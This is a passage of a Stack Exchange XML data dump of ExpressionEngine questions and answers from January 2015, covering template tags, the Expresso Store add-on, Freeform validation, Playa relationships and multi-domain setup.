  <row Id="28539" PostTypeId="2" ParentId="28500" CreationDate="2015-01-19T18:36:36.123" Score="0" Body="&lt;p&gt;That looks like a server-generated error, not an EE-generated error. I'd inquire with your host about any &lt;code&gt;mod_security&lt;/code&gt; or other hardening settings that might be enabled. Sometimes they can be very strict about what kind of data can be sent via &lt;code&gt;POST&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-19T18:36:36.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28540" PostTypeId="1" CreationDate="2015-01-19T18:40:49.540" Score="1" ViewCount="22" Body="&lt;p&gt;Long story short, I forgot to set all my Playa fields to searchable and through incompatible versions of SuperSearch and Playa my exp_channel_data table was not populated correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only solution is to re-publish every entry again (which entails literally going to the edit page and clicking publish for that entry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know a quick and dirty way to do this before I have to bust out a script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3243" LastEditorUserId="3243" LastEditDate="2015-01-19T18:54:14.197" LastActivityDate="2015-01-19T18:54:14.197" Title="How to re-publish every entry?" Tags="|channel-entries|search|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28541" PostTypeId="1" CreationDate="2015-01-19T18:51:57.297" Score="1" ViewCount="117" Body="&lt;p&gt;I'm building a site where I'm having trouble wrapping my head around the logic needed to accomplish what I would like to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have three channels: Brands, Regions, Business Unit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brands have a field, brand_region that relates regions to that brand.&#xA;Business units have a field that relates brands to that business unit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the each brand page there are a list of Regions that this brand is available in, for example Ontario, Alberta, Quebec. The Region link needs to take you to the business unit responsible for that brand in the region.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conversely on the Region page there is a list of brands available and the link for each brand needs to take you to the business unit responsible for that brand in the region currently being viewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently focused on the brand page. So if I'm looking at Volvo for instance and it's available in 3 different regions; Ontario, Alberta, Quebec. The link for each of those needs to be different and go to the business unit responsible for Volvo in that particular region. It's possible that one business unit is responsible for Volvo in Quebec &amp;amp; Ontario and a second business unit is responsible for Volvo in Alberta so that the end result would be Quebec links to business unit 1, Ontario links to business unit 2, and Alberta links to business unit 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removed old code. Simplified code is below but still not working exactly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;regions&quot; limit=&quot;1&quot; disable=&quot;pagination|member_data|comments&quot; parse=&quot;inward&quot;}&#xA;  {exp:playa:parents channel=&quot;brands&quot; var_prefix=&quot;brands&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;  {if no_parents} &amp;lt;p&amp;gt;No Brands available at this location&amp;lt;/p&amp;gt; {/if}&#xA;&#xA;    &amp;lt;li&amp;gt;&#xA;      {brands:title} | &#xA;      {exp:low_variables:single var='lv-brand-biz-link' preparse:pre_entry_id='{entry_id}' preparse:pre_seg='{last_segment}'}&#xA;    &amp;lt;/li&amp;gt;            &#xA;&#xA;  {/exp:playa:parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in the Low Variables preparse template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents channel=&quot;business_unit&quot; var_prefix=&quot;bu_link&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; entry_id=&quot;{pre_entry_id}&quot; field_id=&quot;68&quot; col=&quot;region&quot;}&#xA;&#xA;  {exp:transcribe:uri path=&quot;{bu_link:comment_url_title_auto_path}&quot;}&#xA;&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What happens now is that it lists out the correct brands, but in the link it outputs links to all business units and not just the one responsible for that brand in the region currently being viewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really stuck on the logic of getting this to work. All help appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/***** UPDATE ***/&#xA;adding scan of what I've got written out on paper. May help with understanding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6nx8B.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2015-01-21T19:36:19.037" LastActivityDate="2015-01-21T19:36:19.037" Title="Complex nested playa relationships" Tags="|playa|relationships|template-scripting|logic|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28542" PostTypeId="1" CreationDate="2015-01-19T18:59:05.523" Score="0" ViewCount="103" Body="&lt;p&gt;Based on a &lt;a href=&quot;https://www.exp-resso.com/docs/checkout_tag.html#entry_id&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; my code looks like (short version):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout channel=&quot;products&quot; form_class=&quot;form-horizontal&quot;}&#xA;            {items}&#xA;                TEST 1&#xA;            {exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;                TEST 2&#xA;            {/exp:channel:entries}&#xA;            {/items}&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;TEST 2&lt;/code&gt; message is not displayed at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue what is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS.&#xA;It looks like Expresso Store parsing bug. Similar issue described &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5575/cannot-retrieve-custom-fields-inside-expstorecheckout-tag&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have wipe out whole cart/index template and put just those lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TEST:&#xA;&#xA;    {exp:channel:entries channel=&quot;products&quot; entry_id=&quot;230&quot; dynamic=&quot;no&quot;}&#xA;    Entry id image:                         &#xA;    {product_image limit=&quot;1&quot;}&#xA;    &amp;lt;img src=&quot;{product_image:image}&quot; alt=&quot;{product_image:title}&quot; class=&quot;img-responsive&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;    {/product_image}&#xA;    {/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And what I'm getting is only a text &lt;code&gt;TEST:&lt;/code&gt; nothing else. Product with an entry ID 230 exists in the products channel.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-01-20T17:16:48.230" Title="Expresso Store checkout and custom field based on entry ID" Tags="|expresso-store|channel-entries|checkout|entryid|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28544" PostTypeId="1" CreationDate="2015-01-19T19:26:24.107" Score="0" ViewCount="117" Body="&lt;p&gt;Is there a way within Exp:resso Store to change the starting number on orders so they match my client's internal invoicing numbers?&lt;/p&gt;&#xA;" OwnerUserId="1375" LastActivityDate="2015-11-18T07:19:37.983" Title="Expresso Store Custom Order Number?" Tags="|expresso-store|devdemon|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28545" PostTypeId="2" ParentId="28544" CreationDate="2015-01-19T19:33:34.690" Score="0" Body="&lt;p&gt;No. I suggest to print your suffix by hard coding it in your template and/or notification emails templates.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders}&#xA;    &amp;lt;!-- order details --&amp;gt;&#xA;prefix_{order_id}&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2015-01-19T19:33:34.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28546" PostTypeId="2" ParentId="28542" CreationDate="2015-01-19T19:41:25.733" Score="0" Body="&lt;p&gt;Try to use an embed to deal with parsing issues&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;    {embed=&quot;_embeds/list&quot; id=&quot;{entry_id}&quot;}&#xA;{/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the embedded template set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;1&quot; dynamic=&quot;off&quot; entry_id=&quot;{embed:id}&quot; }&#xA;    TEST 2&#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since the {entry_id} in your loop needs to be the one you are actually passing to the embed, then change to {embed:id}.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2015-01-19T19:41:25.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28547" PostTypeId="2" ParentId="28542" CreationDate="2015-01-19T20:12:47.963" Score="1" Body="&lt;p&gt;Thanks to Justin Long tips I have got it to work. Example code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:store:checkout form_class=&quot;form-horizontal&quot;}&#xA;&#xA;                {items}&#xA;                    *Some code here*&#xA;                     {exp:channel:entries channel=&quot;products&quot; status=&quot;not closed&quot; dynamic=&quot;no&quot; entry_id=&quot;{entry_id}&quot;}&#xA;                      *Custom field code here*&#xA;                      {/exp:channel:entries}&#xA;                {/items}&#xA;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2015-01-20T17:16:48.230" LastActivityDate="2015-01-20T17:16:48.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28548" PostTypeId="1" AcceptedAnswerId="28552" CreationDate="2015-01-19T21:50:11.787" Score="0" ViewCount="41" Body="&lt;p&gt;Hi wondering how I could set quantity to 1 if the user has entered a price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm adding multiple donations to cart within product form tag and want to hide the quantity input. How can I check if a price has been inputed and then set the quantity to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following but get an invalid conditional error in template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;items[{count}][item_qty]&quot; value=&quot;{if &quot;{price}&quot; &amp;gt;= &quot;1&quot;}1{if:else}0{/if}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastEditorUserId="547" LastEditDate="2015-01-19T22:14:46.263" LastActivityDate="2015-01-20T00:01:45.623" Title="Set quantity to 1 if user has entered a price" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28549" PostTypeId="1" CreationDate="2015-01-19T21:52:22.660" Score="1" ViewCount="211" Body="&lt;p&gt;I'm trying to display an inline validation error when these two fields do not match:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {freeform:field:email} &#xA; {freeform:field:email_confirm}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which outputs the following html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;&quot; id=&quot;freeform_email&quot;&amp;gt;&#xA; &amp;lt;input type=&quot;text&quot; name=&quot;email_confirm&quot; value=&quot;&quot; id=&quot;freeform_email_confirm&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I have the &lt;code&gt;matching_fields=&quot;email&quot;&lt;/code&gt; parameter set in the freeform tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I have this configured for the error messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if freeform:error:email}Please fill in your email&amp;lt;br&amp;gt;{/if}&#xA; {if freeform:error:email_confirm}Confirm email does not match&amp;lt;br&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue is that if the fields do not match, it displays the message from the &lt;code&gt;email&lt;/code&gt; field rather than the &lt;code&gt;email_confirm&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the error is because the confirm email doesn't match or isn't populated, the &lt;em&gt;&quot;Please fill in your email&quot;&lt;/em&gt; message obviously doesn't make sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to display the &lt;code&gt;email_confirm&lt;/code&gt; error in this case? &lt;/p&gt;&#xA;" OwnerUserId="276" LastActivityDate="2015-01-19T21:52:22.660" Title="How can I show the error message for the _confirm field in freeform when matching_fields does not validate?" Tags="|solspace-freeform|validation|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28550" PostTypeId="1" CreationDate="2015-01-19T22:37:09.243" Score="0" ViewCount="161" Body="&lt;p&gt;After moving my site to a secure server (SSL), uploading images via the Editor fieldtype by uploading a new file throws an javascript error, traced to the Redactor javascript file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I first choose an existing image, everything works fine and I can embed the image. If I first try to upload a new image and that fails, then I try to choose an existing image as before, existing images no longer works unlike if I do it right away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error Messages from console:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Uncaught TypeError: Cannot read property '0' of nullredactor.min.js?v=3.2.4:4 Redactor.fn.$.Redactor.uploadLoadedjquery.js?v=1421706349:16 s.extend.proxy.ojquery.js?v=1421706349:17 H.event.dispatchjquery.js?v=1421706349:16 H.event.add.a.handle.s&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4955" LastEditorUserId="55" LastEditDate="2015-01-20T12:53:56.703" LastActivityDate="2016-06-03T20:37:40.910" Title="JS error uploading images in Editor" Tags="|devdemon|editor|redactor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28551" PostTypeId="2" ParentId="28544" CreationDate="2015-01-19T23:56:02.803" Score="1" Body="&lt;p&gt;If you order number is a simple number you need to start from such as 12001 you would just need to modify the auto increment start for the &lt;code&gt;ex_store_orders&lt;/code&gt; table&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE exp_store_orders AUTO_INCREMENT=12001;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should be able to run this in the Tools &gt; Data &gt; SQL Manager &gt; Database Query Form as long as you have at least one order already in the system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't feel comfortable doing it with sql you can do it in phpMyAdmin or something like Navicat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need an order ID that is numbers and letters you would need to either create an extension to extend Store's default behaviors or you could store the special order number in one of the custom order fields during the checkout.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-01-20T03:04:08.200" LastActivityDate="2015-01-20T03:04:08.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28552" PostTypeId="2" ParentId="28548" CreationDate="2015-01-20T00:01:45.623" Score="0" Body="&lt;p&gt;Since the user is going to be entering the price after the initial page load when the EE tags are parsed you will need to use some form of javascript to listen to the individual price fields and then update a hidden hidden field tied to that particular product.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-01-20T00:01:45.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28554" PostTypeId="2" ParentId="28520" CreationDate="2015-01-20T03:54:23.757" Score="1" Body="&lt;p&gt;So after playing around with it and asking Solspace the solution seems to be as follows: you create a field in Freeform for the ID of the entry (in this case the job posting) that the person is responding to. You fill in this field by making it hidden to the user and automatically assigning the entry_id of the channel entry to the hidden field. Then you use the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries form_name=&quot;my_form&quot; author_id=&quot;{embed:member_id}&quot; search:entry_id=&quot;{entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you all items in the form that have the author_id (the person submitting the form) for a specific form. If it comes back as no results, you can display the form to the user. If it comes back with a result, you simply tell the user they have already responded to this posting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the embed for author_id, there seems to be an issue using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{logged_in_member_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tag, so you create an embed which you call with something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;   &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;   &amp;lt;p&amp;gt;{body}&amp;lt;/p&amp;gt;&#xA;   {embed=&quot;path_to/template_with_freeform_entries&quot; member_id=&quot;{logged_in_member_id}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone sees any issues with this, please let me know...or if there are better ways to do this (without writing an extension which I've never done before).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Derek, any thoughts or comments on this approach? And again, thank you for your responses.&lt;/p&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2015-01-20T03:54:23.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28555" PostTypeId="2" ParentId="28520" CreationDate="2015-01-20T05:28:08.480" Score="1" Body="&lt;p&gt;An alternative answer to the above method of embeds is also to use the Mo Variables add-on and make {logged_in_member_id} available for early parsing and then you don't have to use embeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is the final code that worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries form_name=&quot;my_form&quot; author_id=&quot;{logged_in_member_id}&quot; search:form_entry_id=&quot;{entry_id}&quot;}&#xA;    {if freeform:no_results}&#xA;        {exp:freeform:form form_name=&quot;job_application&quot; admin_notify=&quot;{application_email_address}&quot;}&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;applicant_name&quot; value=&quot;{logged_in_screen_name}&quot;/&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;{logged_in_email}&quot;/&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;form_entry_id&quot; value=&quot;{entry_id}&quot;/&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;post_title&quot; value=&quot;{title}&quot;/&amp;gt;&#xA;            {freeform:submit}&#xA;        {/exp:freeform:form}&#xA;    {/if}&#xA;    {if freeform:absolute_results &amp;gt;= 1}&#xA;        You have already submitted for this post.&#xA;    {/if}&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2015-01-20T05:28:08.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28556" PostTypeId="2" ParentId="25990" CreationDate="2015-01-20T06:47:52.457" Score="1" Body="&lt;p&gt;As far as I can tell it's not actually used for anything. Tried searching the source for 'cachedir' and I see it is set numerous places but never used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In DB_Driver.php there is this function, which is never actually called from anywhere:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Set Cache Directory Path&#xA; *&#xA; * @access  public&#xA; * @param   string  the path to the cache directory&#xA; * @return  void&#xA; */&#xA;function cache_set_path($path = '')&#xA;{&#xA;    // Query caching now uses caching drivers&#xA;    ee()-&amp;gt;load-&amp;gt;library('logger');&#xA;    ee()-&amp;gt;logger-&amp;gt;deprecated('2.8');&#xA;&#xA;    $this-&amp;gt;cachedir = $path;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the logger-&gt;deprecated('2.8') call there. So my guess is that this is some legacy code from the good old days.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2015-01-20T06:47:52.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28558" PostTypeId="1" AcceptedAnswerId="28581" CreationDate="2015-01-20T08:04:29.630" Score="2" ViewCount="1205" Body="&lt;p&gt;We need to get download functionality where channel entries can be downloaded to an Excel spreadsheet (preferably) or a csv at a push. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Been looking at Export_It and using it which is ok but ran into two problems which apparently are not solvable - at least have never got any results investigating them - so need maybe another solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problems in question were/are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Strange characters in the spreadsheet if the file contains accented foreign characters. I believe integrating PhpExcel with Export_It should fix this but I never got this working and no-one on PhpExcel forums or elsewhere seems to know anything about the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) We need to be able to take data from TWO categories in the download: i.e. &lt;strong&gt;category=&quot;1&amp;amp;2&quot;&lt;/strong&gt; in the parameters.  Have not been able to find out if Export_It supports this but it seems not as it doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we need another solution. Has anyone successfully implemented PhpExcel as a stand-alone in EE? Are there any other modules or solutions you might recommend? &lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2015-01-21T17:53:53.850" Title="Download to Excel or csv solutions" Tags="|export|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28560" PostTypeId="1" CreationDate="2015-01-20T09:28:36.600" Score="0" ViewCount="51" Body="&lt;p&gt;I can't figure this out. I have some simple javascript-code that uses the height of the window to do something. When I add a relationship-field to my code the window-height is wrong. It goes from 900px (for example) to 7000px (the whole document).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's NOT about the added height (the added content is about 50x high), but suddenly jQuery seems to not understand the window-height anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even when I add a relationship-field tag as simple as this:&#xA;&lt;code&gt;&#xA;{home_projects}&#xA;  test&#xA;{/home_projects}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it fails. Weird thing is that Firefox doesn't have this issue. I'm also not getting any javascript-errors in the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, btw, it's not the javascript function itself. The only thing I'm trying now is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var w = $(window);&#xA;var h = w.height();&#xA;alert(h);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding the relationship-field code as written above breaks this code and says the window is about 9000px high. Removing it says the window is the height it should be. And again: only in Chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? This is driving me crazy...&lt;/p&gt;&#xA;" OwnerUserId="2136" LastActivityDate="2015-01-20T09:28:36.600" Title="Relationship field breaks window-height (jQuery) in Chrome" Tags="|relationships|jquery|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28561" PostTypeId="1" CreationDate="2015-01-20T09:45:35.693" Score="0" ViewCount="198" Body="&lt;p&gt;I've set up an automatic response when a new entry is posted, I've included the template below. It's working fine, but the {entry_url} is wrong, it's sending an older URL from the dev version of the site.  Does anyone know where I can change this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A new entry has been posted in the following channel:&#xA;{channel_name}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The title of the entry is:&#xA;{entry_title}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posted by: {name}&#xA;Email: {email}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To read the entry please visit:&#xA;{entry_url}&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2015-01-20T09:45:35.693" Title="Email Notification Templates {entry_url}" Tags="|templates|email|notification|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28562" PostTypeId="2" ParentId="28518" CreationDate="2015-01-20T15:49:35.603" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.vectormediagroup.com&quot; rel=&quot;nofollow&quot;&gt;We've&lt;/a&gt; done this before using categories and it's worked well for our client and for maintainability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We set it up all the domains to point to the same docroot (therefore the same EE installation). We then created a category group called &quot;domains&quot;, and we make a category in there for each domain we're using. Then in our index.php we have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;switch ($_SERVER['HTTP_HOST']) {&#xA;    case 'domain1.com':&#xA;        $assign_to_config['global_vars']['domain'] = 'domain1';&#xA;        $assign_to_config['global_vars']['domain_cat_id'] = 1;&#xA;        $assign_to_config['global_vars']['domain_low_var'] = 'lv_domain1_hp';&#xA;        break;&#xA;    case 'domain2.com':&#xA;        $assign_to_config['global_vars']['domain'] = 'domain2';&#xA;        $assign_to_config['global_vars']['domain_cat_id'] = 2;&#xA;        $assign_to_config['global_vars']['domain_low_var'] = 'lv_domain2_hp';&#xA;        break;&#xA;    // etc...&#xA;    default:&#xA;        $assign_to_config['global_vars']['domain'] = 'defaultdomain';&#xA;        $assign_to_config['global_vars']['domain_cat_id'] = 3;&#xA;        $assign_to_config['global_vars']['domain_low_var'] = 'lv_default_hp';&#xA;        break;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are a few things going on here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For each domain we set a global variable called &lt;code&gt;{domain}&lt;/code&gt;, which we can reference in templates if we need to use it.&lt;/li&gt;&#xA;&lt;li&gt;For each domain, we set the category ID from the category we made in the backend.&lt;/li&gt;&#xA;&lt;li&gt;For each domain, we set the name of the low variable that controls some domain-specific content. You can also do this with an &lt;code&gt;entry_id&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the backend, when content is published it's categorized with whatever domains it should show on. And then our tags are simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;news&quot;&#xA;    category=&quot;{domain_cat_id}&quot;&#xA;    limit=&quot;10&quot;&#xA;}&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only items that will show up from that tag are items categorized for the current domain. For low variables you can use the &lt;a href=&quot;http://gotolow.com/addons/low-variables/docs/tags&quot; rel=&quot;nofollow&quot;&gt;various template tags&lt;/a&gt; and pass in the &lt;code&gt;var=&quot;{domain_low_var}&quot;&lt;/code&gt; parameter to get the right content to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if that's helpful and/or you have any questions!&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-01-20T15:49:35.603" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28563" PostTypeId="1" CreationDate="2015-01-20T16:50:05.420" Score="1" ViewCount="49" Body="&lt;p&gt;I am having trouble with categories, hopefully someone can help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site has 3 main locations (Eastern, Central, Western) and in each main location there are individual store locations. I am planning to separate each main location by categories. The locator also needs to have the &quot;Search&quot; functionality at all times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you click on a main location you are taken to a page with a list of stores in that location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to hard code in the category (eg. category=&quot;7&quot;) anywhere that can limit the category on that template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below I've kind of made a hack, which is triggering the initial search for the main location, which is hiding the values of the search. This is working for me, but I feel like i should hard code in category=&quot;7&quot; or something. What i've done feels wrong. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:search&#xA;    channel=&quot;locations&quot;&#xA;    latitude_field=&quot;location_lat&quot;&#xA;    longitude_field=&quot;location_lng&quot;&#xA;    geocode_field=&quot;location&quot;&#xA;    distance_field=&quot;distance_max&quot;&#xA;    cache_post=&quot;false&quot;&#xA;    return=&quot;/map/western&quot;}&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li style=&quot;display: none;&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;location&quot;&amp;gt;Distance&amp;lt;/label&amp;gt;&#xA;            &amp;lt;select name=&quot;distance_max&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;&quot; &amp;amp;#123;if=&quot;&quot; !distance_max=&quot;&quot; ||=&quot;&quot; 